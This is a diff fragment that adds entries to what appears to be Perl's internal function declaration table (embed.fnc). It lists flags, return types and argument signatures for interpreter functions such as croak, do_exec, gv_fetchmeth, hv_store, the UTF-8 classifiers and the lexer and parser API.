+Apo	|IV*	|av_iter_p	|NN AV *av
+#if defined(PERL_IN_AV_C)
+s	|MAGIC*	|get_aux_mg	|NN AV *av
+#endif
+: Used in perly.y
+pR	|OP*	|bind_match	|I32 type|NN OP *left|NN OP *right
+: Used in perly.y
+ApdR	|OP*	|block_end	|I32 floor|NULLOK OP* seq
+ApR	|U8	|block_gimme
+: Used in perly.y
+ApdR	|int	|block_start	|int full
+Aodp	|void	|blockhook_register |NN BHK *hk
+: Used in perl.c
+p	|void	|boot_core_UNIVERSAL
+: Used in perl.c
+p	|void	|boot_core_PerlIO
+Ap	|void	|call_list	|I32 oldscope|NN AV *paramList
+Apd	|const PERL_CONTEXT *	|caller_cx|I32 level \
+				|NULLOK const PERL_CONTEXT **dbcxp
+: Used in several source files
+pR	|bool	|cando		|Mode_t mode|bool effective|NN const Stat_t* statbufp
+ApRn	|U32	|cast_ulong	|NV f
+ApRn	|I32	|cast_i32	|NV f
+ApRn	|IV	|cast_iv	|NV f
+ApRn	|UV	|cast_uv	|NV f
+#if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP)
+ApR	|I32	|my_chsize	|int fd|Off_t length
+#endif
+p	|const COP*|closest_cop	|NN const COP *cop|NULLOK const OP *o \
+				|NULLOK const OP *curop|bool opnext
+: Used in perly.y
+ApdR	|OP*	|op_convert_list	|I32 optype|I32 flags|NULLOK OP* o
+: Used in op.c and perl.c
+pM	|void	|create_eval_scope|NULLOK OP *retop|U32 flags
+Aprd	|void	|croak_sv	|NN SV *baseex
+: croak()'s first parm can be NULL.  Otherwise, mod_perl breaks.
+Afprd	|void	|croak		|NULLOK const char* pat|...
+Aprd	|void	|vcroak		|NULLOK const char* pat|NULLOK va_list* args
+Anprd	|void	|croak_no_modify
+Anprd	|void	|croak_xs_usage	|NN const CV *const cv \
+				|NN const char *const params
+npr	|void	|croak_no_mem
+nprX	|void	|croak_popstack
+fnprx	|void	|noperl_die|NN const char* pat|...
+#if defined(WIN32)
+norx	|void	|win32_croak_not_implemented|NN const char * fname
+#endif
+#if defined(PERL_IMPLICIT_CONTEXT)
+Afnrp	|void	|croak_nocontext|NULLOK const char* pat|...
+Afnrp  |OP*    |die_nocontext  |NULLOK const char* pat|...
+Afnp	|void	|deb_nocontext	|NN const char* pat|...
+Afnp	|char*	|form_nocontext	|NN const char* pat|...
+Anp	|void	|load_module_nocontext|U32 flags|NN SV* name|NULLOK SV* ver|...
+Afnp	|SV*	|mess_nocontext	|NN const char* pat|...
+Afnp	|void	|warn_nocontext	|NN const char* pat|...
+Afnp	|void	|warner_nocontext|U32 err|NN const char* pat|...
+Afnp	|SV*	|newSVpvf_nocontext|NN const char *const pat|...
+Afnp	|void	|sv_catpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp	|void	|sv_setpvf_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp	|void	|sv_catpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp	|void	|sv_setpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
+Afnp	|int	|fprintf_nocontext|NN PerlIO *stream|NN const char *format|...
+Afnp	|int	|printf_nocontext|NN const char *format|...
+#endif
+: Used in pp.c
+p	|SV *	|core_prototype	|NULLOK SV *sv|NN const char *name \
+				|const int code|NULLOK int * const opnum
+: Used in gv.c
+p	|OP *	|coresub_op	|NN SV *const coreargssv|const int code \
+				|const int opnum
+: Used in sv.c
+EMXp	|void	|cv_ckproto_len_flags	|NN const CV* cv|NULLOK const GV* gv\
+				|NULLOK const char* p|const STRLEN len \
+                                |const U32 flags
+: Used in pp.c and pp_sys.c
+ApdR	|SV*	|gv_const_sv	|NN GV* gv
+ApdRn	|SV*	|cv_const_sv	|NULLOK const CV *const cv
+pRn	|SV*	|cv_const_sv_or_av|NULLOK const CV *const cv
+Apd	|SV *	|cv_name	|NN CV *cv|NULLOK SV *sv|U32 flags
+Apd	|void	|cv_undef	|NN CV* cv
+p	|void	|cv_undef_flags	|NN CV* cv|U32 flags
+p	|void	|cv_forget_slab	|NULLOK CV *cv
+Ap	|void	|cx_dump	|NN PERL_CONTEXT* cx
+Ap	|SV*	|filter_add	|NULLOK filter_t funcp|NULLOK SV* datasv
+Ap	|void	|filter_del	|NN filter_t funcp
+ApR	|I32	|filter_read	|int idx|NN SV *buf_sv|int maxlen
+ApPR	|char**	|get_op_descs
+ApPR	|char**	|get_op_names
+: FIXME discussion on p5p
+pPR	|const char*	|get_no_modify
+: FIXME discussion on p5p
+pPR	|U32*	|get_opargs
+ApPR	|PPADDR_t*|get_ppaddr
+: Used by CXINC, which appears to be in widespread use
+ApR	|I32	|cxinc
+Afp	|void	|deb		|NN const char* pat|...
+Ap	|void	|vdeb		|NN const char* pat|NULLOK va_list* args
+Ap	|void	|debprofdump
+EXp	|SV*	|multideref_stringify	|NN const OP* o|NULLOK CV *cv
+Ap	|I32	|debop		|NN const OP* o
+Ap	|I32	|debstack
+Ap	|I32	|debstackptrs
+pR	|SV *	|defelem_target	|NN SV *sv|NULLOK MAGIC *mg
+Anp	|char*	|delimcpy	|NN char* to|NN const char* toend|NN const char* from \
+				|NN const char* fromend|int delim|NN I32* retlen
+: Used in op.c, perl.c
+pM	|void	|delete_eval_scope
+Aprd    |OP*    |die_sv         |NN SV *baseex
+Afrpd   |OP*    |die            |NULLOK const char* pat|...
+: Used in util.c
+pr	|void	|die_unwind	|NN SV* msv
+Ap	|void	|dounwind	|I32 cxix
+: FIXME
+pmb	|bool|do_aexec	|NULLOK SV* really|NN SV** mark|NN SV** sp
+: Used in pp_sys.c
+p	|bool|do_aexec5	|NULLOK SV* really|NN SV** mark|NN SV** sp|int fd|int do_report
+Ap	|int	|do_binmode	|NN PerlIO *fp|int iotype|int mode
+: Used in pp.c
+Ap	|bool	|do_close	|NULLOK GV* gv|bool not_implicit
+: Defined in doio.c, used only in pp_sys.c
+p	|bool	|do_eof		|NN GV* gv
+
+#ifdef PERL_DEFAULT_DO_EXEC3_IMPLEMENTATION
+pm	|bool|do_exec	|NN const char* cmd
+#else
+p	|bool|do_exec	|NN const char* cmd
+#endif
+
+#if defined(WIN32) || defined(__SYMBIAN32__) || defined(VMS)
+Ap	|int	|do_aspawn	|NULLOK SV* really|NN SV** mark|NN SV** sp
+Ap	|int	|do_spawn	|NN char* cmd
+Ap	|int	|do_spawn_nowait|NN char* cmd
+#endif
+#if !defined(WIN32)
+p	|bool|do_exec3	|NN const char *incmd|int fd|int do_report
+#endif
+p	|void	|do_execfree
+#if defined(PERL_IN_DOIO_C)
+s	|void	|exec_failed	|NN const char *cmd|int fd|int do_report
+#endif
+#if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_ipcctl	|I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_ipcget	|I32 optype|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_msgrcv	|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_msgsnd	|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_semop	|NN SV** mark|NN SV** sp
+: Defined in doio.c, used only in pp_sys.c
+p	|I32	|do_shmio	|I32 optype|NN SV** mark|NN SV** sp
+#endif
+Ap	|void	|do_join	|NN SV *sv|NN SV *delim|NN SV **mark|NN SV **sp
+: Used in pp.c and pp_hot.c, prototype generated by regen/opcode.pl
+: p	|OP*	|do_kv
+: used in pp.c, pp_hot.c
+pR	|I32	|do_ncmp	|NN SV *const left|NN SV *const right
+Apmb	|bool	|do_open	|NN GV* gv|NN const char* name|I32 len|int as_raw \
+				|int rawmode|int rawperm|NULLOK PerlIO* supplied_fp
+Ap	|bool	|do_open9	|NN GV *gv|NN const char *name|I32 len|int as_raw \
+				|int rawmode|int rawperm|NULLOK PerlIO *supplied_fp \
+				|NN SV *svs|I32 num
+#if defined(PERL_IN_DOIO_C)
+s	|IO *	|openn_setup    |NN GV *gv|NN char *mode|NN PerlIO **saveifp \
+				|NN PerlIO **saveofp|NN int *savefd \
+                                |NN char *savetype
+s	|bool	|openn_cleanup	|NN GV *gv|NN IO *io|NULLOK PerlIO *fp \
+				|NN char *mode|NN const char *oname \
+                                |NULLOK PerlIO *saveifp|NULLOK PerlIO *saveofp \
+                                |int savefd|char savetype|int writing \
+                                |bool was_fdopen|NULLOK const char *type
+#endif
+Ap	|bool	|do_openn	|NN GV *gv|NN const char *oname|I32 len \
+				|int as_raw|int rawmode|int rawperm \
+				|NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+				|I32 num
+Mp	|bool	|do_open_raw	|NN GV *gv|NN const char *oname|STRLEN len \
+				|int rawmode|int rawperm
+Mp	|bool	|do_open6	|NN GV *gv|NN const char *oname|STRLEN len \
+				|NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
+				|U32 num
+: Used in pp_hot.c and pp_sys.c
+p	|bool	|do_print	|NULLOK SV* sv|NN PerlIO* fp
+: Used in pp_sys.c
+pR	|OP*	|do_readline
+: Defined in doio.c, used only in pp_sys.c
+p	|bool	|do_seek	|NULLOK GV* gv|Off_t pos|int whence
+Ap	|void	|do_sprintf	|NN SV* sv|I32 len|NN SV** sarg
+: Defined in doio.c, used only in pp_sys.c
+p	|Off_t	|do_sysseek	|NN GV* gv|Off_t pos|int whence
+: Defined in doio.c, used only in pp_sys.c
+pR	|Off_t	|do_tell	|NN GV* gv
+: Defined in doop.c, used only in pp.c
+p	|I32	|do_trans	|NN SV* sv
+: Used in my.c and pp.c
+p	|UV	|do_vecget	|NN SV* sv|SSize_t offset|int size
+: Defined in doop.c, used only in mg.c (with /* XXX slurp this routine */)
+p	|void	|do_vecset	|NN SV* sv
+: Defined in doop.c, used only in pp.c
+p	|void	|do_vop		|I32 optype|NN SV* sv|NN SV* left|NN SV* right
+: Used in perly.y
+p	|OP*	|dofile		|NN OP* term|I32 force_builtin
+ApR	|U8	|dowantarray
+Ap	|void	|dump_all
+p	|void	|dump_all_perl	|bool justperl
+Ap	|void	|dump_eval
+Ap	|void	|dump_form	|NN const GV* gv
+Ap	|void	|gv_dump	|NULLOK GV* gv
+Ap	|void	|op_dump	|NN const OP *o
+Ap	|void	|pmop_dump	|NULLOK PMOP* pm
+Ap	|void	|dump_packsubs	|NN const HV* stash
+p	|void	|dump_packsubs_perl	|NN const HV* stash|bool justperl
+Ap	|void	|dump_sub	|NN const GV* gv
+p	|void	|dump_sub_perl	|NN const GV* gv|bool justperl
+Apd	|void	|fbm_compile	|NN SV* sv|U32 flags
+ApdR	|char*	|fbm_instr	|NN unsigned char* big|NN unsigned char* bigend \
+				|NN SV* littlestr|U32 flags
+p	|CV *	|find_lexical_cv|PADOFFSET off
+pR	|OP *	|parse_subsignature
+: Defined in util.c, used only in perl.c
+p	|char*	|find_script	|NN const char *scriptname|bool dosearch \
+				|NULLOK const char *const *const search_ext|I32 flags
+#if defined(PERL_IN_OP_C)
+s	|OP*	|force_list	|NULLOK OP* arg|bool nullit
+i	|OP*	|op_integerize	|NN OP *o
+i	|OP*	|op_std_init	|NN OP *o
+#if defined(USE_ITHREADS)
+i	|void	|op_relocate_sv	|NN SV** svp|NN PADOFFSET* targp
+#endif
+i	|OP*	|newMETHOP_internal	|I32 type|I32 flags|NULLOK OP* dynamic_meth \
+					|NULLOK SV* const_meth
+: FIXME
+s	|OP*	|fold_constants	|NN OP *o
+#endif
+Afpd	|char*	|form		|NN const char* pat|...
+Ap	|char*	|vform		|NN const char* pat|NULLOK va_list* args
+Ap	|void	|free_tmps
+#if defined(PERL_IN_OP_C)
+s	|OP*	|gen_constant_list|NULLOK OP* o
+#endif
+#if !defined(HAS_GETENV_LEN)
+: Used in hv.c
+p	|char*	|getenv_len	|NN const char *env_elem|NN unsigned long *len
+#endif
+: Used in pp_ctl.c and pp_hot.c
+pox	|void	|get_db_sub	|NULLOK SV **svp|NN CV *cv
+Ap	|void	|gp_free	|NULLOK GV* gv
+Ap	|GP*	|gp_ref		|NULLOK GP* gp
+Ap	|GV*	|gv_add_by_type	|NULLOK GV *gv|svtype type
+Apmb	|GV*	|gv_AVadd	|NULLOK GV *gv
+Apmb	|GV*	|gv_HVadd	|NULLOK GV *gv
+Apmb	|GV*	|gv_IOadd	|NULLOK GV* gv
+AmR	|GV*	|gv_autoload4	|NULLOK HV* stash|NN const char* name \
+				|STRLEN len|I32 method
+ApR	|GV*	|gv_autoload_sv	|NULLOK HV* stash|NN SV* namesv|U32 flags
+ApR	|GV*	|gv_autoload_pv	|NULLOK HV* stash|NN const char* namepv \
+                                |U32 flags
+ApR	|GV*	|gv_autoload_pvn	|NULLOK HV* stash|NN const char* name \
+                                        |STRLEN len|U32 flags
+Ap	|void	|gv_check	|NN HV* stash
+Ap	|void	|gv_efullname	|NN SV* sv|NN const GV* gv
+Apmb	|void	|gv_efullname3	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap	|void	|gv_efullname4	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+Ap	|GV*	|gv_fetchfile	|NN const char* name
+Ap	|GV*	|gv_fetchfile_flags|NN const char *const name|const STRLEN len\
+				|const U32 flags
+Amd	|GV*	|gv_fetchmeth	|NULLOK HV* stash|NN const char* name \
+				|STRLEN len|I32 level
+Apd	|GV*	|gv_fetchmeth_sv	|NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd	|GV*	|gv_fetchmeth_pv	|NULLOK HV* stash|NN const char* name \
+                                        |I32 level|U32 flags
+Apd	|GV*	|gv_fetchmeth_pvn	|NULLOK HV* stash|NN const char* name \
+                                        |STRLEN len|I32 level|U32 flags
+Amd	|GV*	|gv_fetchmeth_autoload	|NULLOK HV* stash \
+					|NN const char* name|STRLEN len \
+					|I32 level
+Apd	|GV*	|gv_fetchmeth_sv_autoload	|NULLOK HV* stash|NN SV* namesv|I32 level|U32 flags
+Apd	|GV*	|gv_fetchmeth_pv_autoload	|NULLOK HV* stash|NN const char* name \
+                                        |I32 level|U32 flags
+Apd	|GV*	|gv_fetchmeth_pvn_autoload	|NULLOK HV* stash|NN const char* name \
+                                        |STRLEN len|I32 level|U32 flags
+Apdmb	|GV*	|gv_fetchmethod	|NN HV* stash|NN const char* name
+Apd	|GV*	|gv_fetchmethod_autoload|NN HV* stash|NN const char* name \
+				|I32 autoload
+ApM	|GV*	|gv_fetchmethod_sv_flags|NN HV* stash|NN SV* namesv|U32 flags
+ApM	|GV*	|gv_fetchmethod_pv_flags|NN HV* stash|NN const char* name \
+ 				|U32 flags
+ApM	|GV*	|gv_fetchmethod_pvn_flags|NN HV* stash|NN const char* name \
+				|const STRLEN len|U32 flags
+Ap	|GV*	|gv_fetchpv	|NN const char *nambeg|I32 add|const svtype sv_type
+Ap	|void	|gv_fullname	|NN SV* sv|NN const GV* gv
+Apmb	|void	|gv_fullname3	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix
+Ap	|void	|gv_fullname4	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
+: Used in scope.c
+pMox	|GP *	|newGP		|NN GV *const gv
+pX	|void	|cvgv_set	|NN CV* cv|NULLOK GV* gv
+poX	|GV *	|cvgv_from_hek	|NN CV* cv
+pX	|void	|cvstash_set	|NN CV* cv|NULLOK HV* stash
+Amd	|void	|gv_init	|NN GV* gv|NULLOK HV* stash \
+                                |NN const char* name|STRLEN len|int multi
+Ap	|void	|gv_init_sv	|NN GV* gv|NULLOK HV* stash|NN SV* namesv|U32 flags
+Ap	|void	|gv_init_pv	|NN GV* gv|NULLOK HV* stash|NN const char* name \
+                                |U32 flags
+Ap	|void	|gv_init_pvn	|NN GV* gv|NULLOK HV* stash|NN const char* name \
+                                |STRLEN len|U32 flags
+Ap	|void	|gv_name_set	|NN GV* gv|NN const char *name|U32 len|U32 flags
+px	|GV *	|gv_override	|NN const char * const name \
+				|const STRLEN len
+XMpd	|void	|gv_try_downgrade|NN GV* gv
+p	|void	|gv_setref	|NN SV *const dstr|NN SV *const sstr
+Apd	|HV*	|gv_stashpv	|NN const char* name|I32 flags
+Apd	|HV*	|gv_stashpvn	|NN const char* name|U32 namelen|I32 flags
+#if defined(PERL_IN_GV_C)
+i	|HV*	|gv_stashpvn_internal	|NN const char* name|U32 namelen|I32 flags
+i	|HV*	|gv_stashsvpvn_cached	|NULLOK SV *namesv|NULLOK const char* name|U32 namelen|I32 flags
+i	|GV*	|gv_fetchmeth_internal	|NULLOK HV* stash|NULLOK SV* meth|NULLOK const char* name \
+					|STRLEN len|I32 level|U32 flags
+#endif
+Apd	|HV*	|gv_stashsv	|NN SV* sv|I32 flags
+Apd	|void	|hv_clear	|NULLOK HV *hv
+: used in SAVEHINTS() and op.c
+ApdR	|HV *	|hv_copy_hints_hv|NULLOK HV *const ohv
+Ap	|void	|hv_delayfree_ent|NN HV *hv|NULLOK HE *entry
+Abmd	|SV*	|hv_delete	|NULLOK HV *hv|NN const char *key|I32 klen \
+				|I32 flags
+Abmd	|SV*	|hv_delete_ent	|NULLOK HV *hv|NN SV *keysv|I32 flags|U32 hash
+AbmdR	|bool	|hv_exists	|NULLOK HV *hv|NN const char *key|I32 klen
+AbmdR	|bool	|hv_exists_ent	|NULLOK HV *hv|NN SV *keysv|U32 hash
+Abmd	|SV**	|hv_fetch	|NULLOK HV *hv|NN const char *key|I32 klen \
+				|I32 lval
+Abmd	|HE*	|hv_fetch_ent	|NULLOK HV *hv|NN SV *keysv|I32 lval|U32 hash
+Ap	|void*	|hv_common	|NULLOK HV *hv|NULLOK SV *keysv \
+				|NULLOK const char* key|STRLEN klen|int flags \
+				|int action|NULLOK SV *val|U32 hash
+Ap	|void*	|hv_common_key_len|NULLOK HV *hv|NN const char *key \
+				|I32 klen_i32|const int action|NULLOK SV *val \
+				|const U32 hash
+Apod	|STRLEN	|hv_fill	|NN HV *const hv
+Ap	|void	|hv_free_ent	|NN HV *hv|NULLOK HE *entry
+Apd	|I32	|hv_iterinit	|NN HV *hv
+ApdR	|char*	|hv_iterkey	|NN HE* entry|NN I32* retlen
+ApdR	|SV*	|hv_iterkeysv	|NN HE* entry
+ApdRbm	|HE*	|hv_iternext	|NN HV *hv
+ApdR	|SV*	|hv_iternextsv	|NN HV *hv|NN char **key|NN I32 *retlen
+ApMdR	|HE*	|hv_iternext_flags|NN HV *hv|I32 flags
+ApdR	|SV*	|hv_iterval	|NN HV *hv|NN HE *entry
+Ap	|void	|hv_ksplit	|NN HV *hv|IV newmax
+Apdbm	|void	|hv_magic	|NN HV *hv|NULLOK GV *gv|int how
+#if defined(PERL_IN_HV_C)
+s	|SV *	|refcounted_he_value	|NN const struct refcounted_he *he
+#endif
+Xpd	|HV *	|refcounted_he_chain_2hv|NULLOK const struct refcounted_he *c|U32 flags
+Xpd	|SV *	|refcounted_he_fetch_pvn|NULLOK const struct refcounted_he *chain \
+				|NN const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Xpd	|SV *	|refcounted_he_fetch_pv|NULLOK const struct refcounted_he *chain \
+				|NN const char *key|U32 hash|U32 flags
+Xpd	|SV *	|refcounted_he_fetch_sv|NULLOK const struct refcounted_he *chain \
+				|NN SV *key|U32 hash|U32 flags
+Xpd	|struct refcounted_he *|refcounted_he_new_pvn \
+				|NULLOK struct refcounted_he *parent \
+				|NN const char *keypv|STRLEN keylen \
+				|U32 hash|NULLOK SV *value|U32 flags
+Xpd	|struct refcounted_he *|refcounted_he_new_pv \
+				|NULLOK struct refcounted_he *parent \
+				|NN const char *key \
+				|U32 hash|NULLOK SV *value|U32 flags
+Xpd	|struct refcounted_he *|refcounted_he_new_sv \
+				|NULLOK struct refcounted_he *parent \
+				|NN SV *key \
+				|U32 hash|NULLOK SV *value|U32 flags
+Xpd	|void	|refcounted_he_free|NULLOK struct refcounted_he *he
+Xpd	|struct refcounted_he *|refcounted_he_inc|NULLOK struct refcounted_he *he
+Abmd	|SV**	|hv_store	|NULLOK HV *hv|NULLOK const char *key \
+				|I32 klen|NULLOK SV *val|U32 hash
+Abmd	|HE*	|hv_store_ent	|NULLOK HV *hv|NULLOK SV *key|NULLOK SV *val\
+				|U32 hash
+AbmM	|SV**	|hv_store_flags	|NULLOK HV *hv|NULLOK const char *key \
+				|I32 klen|NULLOK SV *val|U32 hash|int flags
+Amd	|void	|hv_undef	|NULLOK HV *hv
+poX	|void	|hv_undef_flags	|NULLOK HV *hv|U32 flags
+Am	|I32	|ibcmp		|NN const char* a|NN const char* b|I32 len
+AnpP	|I32	|foldEQ		|NN const char* a|NN const char* b|I32 len
+Am	|I32	|ibcmp_locale	|NN const char* a|NN const char* b|I32 len
+AnpP	|I32	|foldEQ_locale	|NN const char* a|NN const char* b|I32 len
+Am	|I32	|ibcmp_utf8	|NN const char *s1|NULLOK char **pe1|UV l1 \
+				|bool u1|NN const char *s2|NULLOK char **pe2 \
+				|UV l2|bool u2
+Amd	|I32	|foldEQ_utf8	|NN const char *s1|NULLOK char **pe1|UV l1 \
+				|bool u1|NN const char *s2|NULLOK char **pe2 \
+				|UV l2|bool u2
+AMp	|I32	|foldEQ_utf8_flags |NN const char *s1|NULLOK char **pe1|UV l1 \
+				|bool u1|NN const char *s2|NULLOK char **pe2 \
+				|UV l2|bool u2|U32 flags
+AnpP	|I32	|foldEQ_latin1	|NN const char* a|NN const char* b|I32 len
+#if defined(PERL_IN_DOIO_C)
+sR	|bool	|ingroup	|Gid_t testgid|bool effective
+#endif
+: Used in toke.c
+p	|void	|init_argv_symbols|int argc|NN char **argv
+: Used in pp_ctl.c
+po	|void	|init_dbargs
+: Used in mg.c
+p	|void	|init_debugger
+Ap	|void	|init_stacks
+Ap	|void	|init_tm	|NN struct tm *ptm
+: Used in perly.y
+AnpPR	|char*	|instr		|NN const char* big|NN const char* little
+: Used in sv.c
+p	|bool	|io_close	|NN IO* io|NULLOK GV *gv \
+				|bool not_implicit|bool warn_on_fail
+: Used in perly.y
+pR	|OP*	|invert		|NULLOK OP* cmd
+ApR	|I32	|is_lvalue_sub
+: Used in cop.h
+XopR	|I32	|was_lvalue_sub
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMRn	|STRLEN	|_is_utf8_char_slow|NN const U8 *s|NN const U8 *e
+#endif
+ADMpPR	|U32	|to_uni_upper_lc|U32 c
+ADMpPR	|U32	|to_uni_title_lc|U32 c
+ADMpPR	|U32	|to_uni_lower_lc|U32 c
+ADMpPR	|bool	|is_uni_alnum	|UV c
+ADMpPR	|bool	|is_uni_alnumc	|UV c
+ADMpPR	|bool	|is_uni_idfirst	|UV c
+ADMpPR	|bool	|is_uni_alpha	|UV c
+ADMpPR	|bool	|is_uni_ascii	|UV c
+ADMpPR	|bool	|is_uni_blank	|UV c
+ADMpPR	|bool	|is_uni_space	|UV c
+ADMpPR	|bool	|is_uni_cntrl	|UV c
+ADMpPR	|bool	|is_uni_graph	|UV c
+ADMpPR	|bool	|is_uni_digit	|UV c
+ADMpPR	|bool	|is_uni_upper	|UV c
+ADMpPR	|bool	|is_uni_lower	|UV c
+ADMpPR	|bool	|is_uni_print	|UV c
+ADMpPR	|bool	|is_uni_punct	|UV c
+ADMpPR	|bool	|is_uni_xdigit	|UV c
+AMp	|UV	|to_uni_upper	|UV c|NN U8 *p|NN STRLEN *lenp
+AMp	|UV	|to_uni_title	|UV c|NN U8 *p|NN STRLEN *lenp
+ADMpPR	|bool	|isIDFIRST_lazy	|NN const char* p
+ADMpPR	|bool	|isALNUM_lazy	|NN const char* p
+#ifdef PERL_IN_UTF8_C
+snR	|U8	|to_lower_latin1|const U8 c|NULLOK U8 *p|NULLOK STRLEN *lenp
+#endif
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+EXp        |UV        |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags
+#endif
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_PP_C)
+p	|UV	|_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_or_s
+#endif
+AMp	|UV	|to_uni_lower	|UV c|NN U8 *p|NN STRLEN *lenp
+AMmp	|UV	|to_uni_fold	|UV c|NN U8 *p|NN STRLEN *lenp
+AMp	|UV	|_to_uni_fold_flags|UV c|NN U8 *p|NN STRLEN *lenp|U8 flags
+ADMpPR	|bool	|is_uni_alnum_lc|UV c
+ADMpPR	|bool	|is_uni_alnumc_lc|UV c
+ADMpPR	|bool	|is_uni_idfirst_lc|UV c
+AMpR	|bool	|_is_uni_perl_idcont|UV c
+AMpR	|bool	|_is_uni_perl_idstart|UV c
+ADMpPR	|bool	|is_uni_alpha_lc|UV c
+ADMpPR	|bool	|is_uni_ascii_lc|UV c
+ADMpPR	|bool	|is_uni_space_lc|UV c
+ADMpPR	|bool	|is_uni_blank_lc|UV c
+ADMpPR	|bool	|is_uni_cntrl_lc|UV c
+ADMpPR	|bool	|is_uni_graph_lc|UV c
+ADMpPR	|bool	|is_uni_digit_lc|UV c
+ADMpPR	|bool	|is_uni_upper_lc|UV c
+ADMpPR	|bool	|is_uni_lower_lc|UV c
+ADMpPR	|bool	|is_uni_print_lc|UV c
+ADMpPR	|bool	|is_uni_punct_lc|UV c
+ADMpPR	|bool	|is_uni_xdigit_lc|UV c
+AnpdR	|bool	|is_invariant_string|NN const U8 *s|STRLEN len
+AmpdR	|bool	|is_ascii_string|NN const U8 *s|STRLEN len
+AnpdD	|STRLEN	|is_utf8_char	|NN const U8 *s
+Abmnpd	|STRLEN	|is_utf8_char_buf|NN const U8 *buf|NN const U8 *buf_end
+Anpd	|bool	|is_utf8_string	|NN const U8 *s|STRLEN len
+Anpdmb	|bool	|is_utf8_string_loc|NN const U8 *s|STRLEN len|NULLOK const U8 **ep
+Anpd	|bool	|is_utf8_string_loclen|NN const U8 *s|STRLEN len|NULLOK const U8 **ep|NULLOK STRLEN *el
+AMpR	|bool	|_is_uni_FOO|const U8 classnum|const UV c
+AMpR	|bool	|_is_utf8_FOO|const U8 classnum|NN const U8 *p
+ADMpR	|bool	|is_utf8_alnum	|NN const U8 *p
+ADMpR	|bool	|is_utf8_alnumc	|NN const U8 *p
+ADMpR	|bool	|is_utf8_idfirst|NN const U8 *p
+ADMpR	|bool	|is_utf8_xidfirst|NN const U8 *p
+AMpR	|bool	|_is_utf8_idcont|NN const U8 *p
+AMpR	|bool	|_is_utf8_idstart|NN const U8 *p
+AMpR	|bool	|_is_utf8_xidcont|NN const U8 *p
+AMpR	|bool	|_is_utf8_xidstart|NN const U8 *p
+AMpR	|bool	|_is_utf8_perl_idcont|NN const U8 *p
+AMpR	|bool	|_is_utf8_perl_idstart|NN const U8 *p
+ADMpR	|bool	|is_utf8_idcont	|NN const U8 *p
+ADMpR	|bool	|is_utf8_xidcont	|NN const U8 *p
+ADMpR	|bool	|is_utf8_alpha	|NN const U8 *p
+ADMpR	|bool	|is_utf8_ascii	|NN const U8 *p
+ADMpR	|bool	|is_utf8_blank	|NN const U8 *p
+ADMpR	|bool	|is_utf8_space	|NN const U8 *p
+ADMpR	|bool	|is_utf8_perl_space	|NN const U8 *p
+ADMpR	|bool	|is_utf8_perl_word	|NN const U8 *p
+ADMpR	|bool	|is_utf8_cntrl	|NN const U8 *p
+ADMpR	|bool	|is_utf8_digit	|NN const U8 *p
+ADMpR	|bool	|is_utf8_posix_digit	|NN const U8 *p
+ADMpR	|bool	|is_utf8_graph	|NN const U8 *p
+ADMpR	|bool	|is_utf8_upper	|NN const U8 *p
+ADMpR	|bool	|is_utf8_lower	|NN const U8 *p
+ADMpR	|bool	|is_utf8_print	|NN const U8 *p
+ADMpR	|bool	|is_utf8_punct	|NN const U8 *p
+ADMpR	|bool	|is_utf8_xdigit	|NN const U8 *p
+AMpR	|bool	|_is_utf8_mark	|NN const U8 *p
+ADMpR	|bool	|is_utf8_mark	|NN const U8 *p
+: Used in perly.y
+p	|OP*	|jmaybe		|NN OP *o
+: Used in pp.c 
+pP	|I32	|keyword	|NN const char *name|I32 len|bool all_keywords
+#if defined(PERL_IN_OP_C)
+s	|void	|inplace_aassign	|NN OP* o
+#endif
+Ap	|void	|leave_scope	|I32 base
+: Public lexer API
+AMpd	|void	|lex_start	|NULLOK SV* line|NULLOK PerlIO *rsfp|U32 flags
+AMpd	|bool	|lex_bufutf8
+AMpd	|char*	|lex_grow_linestr|STRLEN len
+AMpd	|void	|lex_stuff_pvn	|NN const char* pv|STRLEN len|U32 flags
+AMpd	|void	|lex_stuff_pv	|NN const char* pv|U32 flags
+AMpd	|void	|lex_stuff_sv	|NN SV* sv|U32 flags
+AMpd	|void	|lex_unstuff	|NN char* ptr
+AMpd	|void	|lex_read_to	|NN char* ptr
+AMpd	|void	|lex_discard_to	|NN char* ptr
+AMpd	|bool	|lex_next_chunk	|U32 flags
+AMpd	|I32	|lex_peek_unichar|U32 flags
+AMpd	|I32	|lex_read_unichar|U32 flags
+AMpd	|void	|lex_read_space	|U32 flags
+: Public parser API
+AMpd	|OP*	|parse_arithexpr|U32 flags
+AMpd	|OP*	|parse_termexpr	|U32 flags
+AMpd	|OP*	|parse_listexpr	|U32 flags
+AMpd	|OP*	|parse_fullexpr	|U32 flags
+AMpd	|OP*	|parse_block	|U32 flags
+AMpd	|OP*	|parse_barestmt	|U32 flags
+AMpd	|SV*	|parse_label	|U32 flags
+AMpd	|OP*	|parse_fullstmt	|U32 flags
+AMpd	|OP*	|parse_stmtseq	|U32 flags
+: Used in various files
+Apd	|void	|op_null	|NN OP* o
+: FIXME. Used by Data::Alias
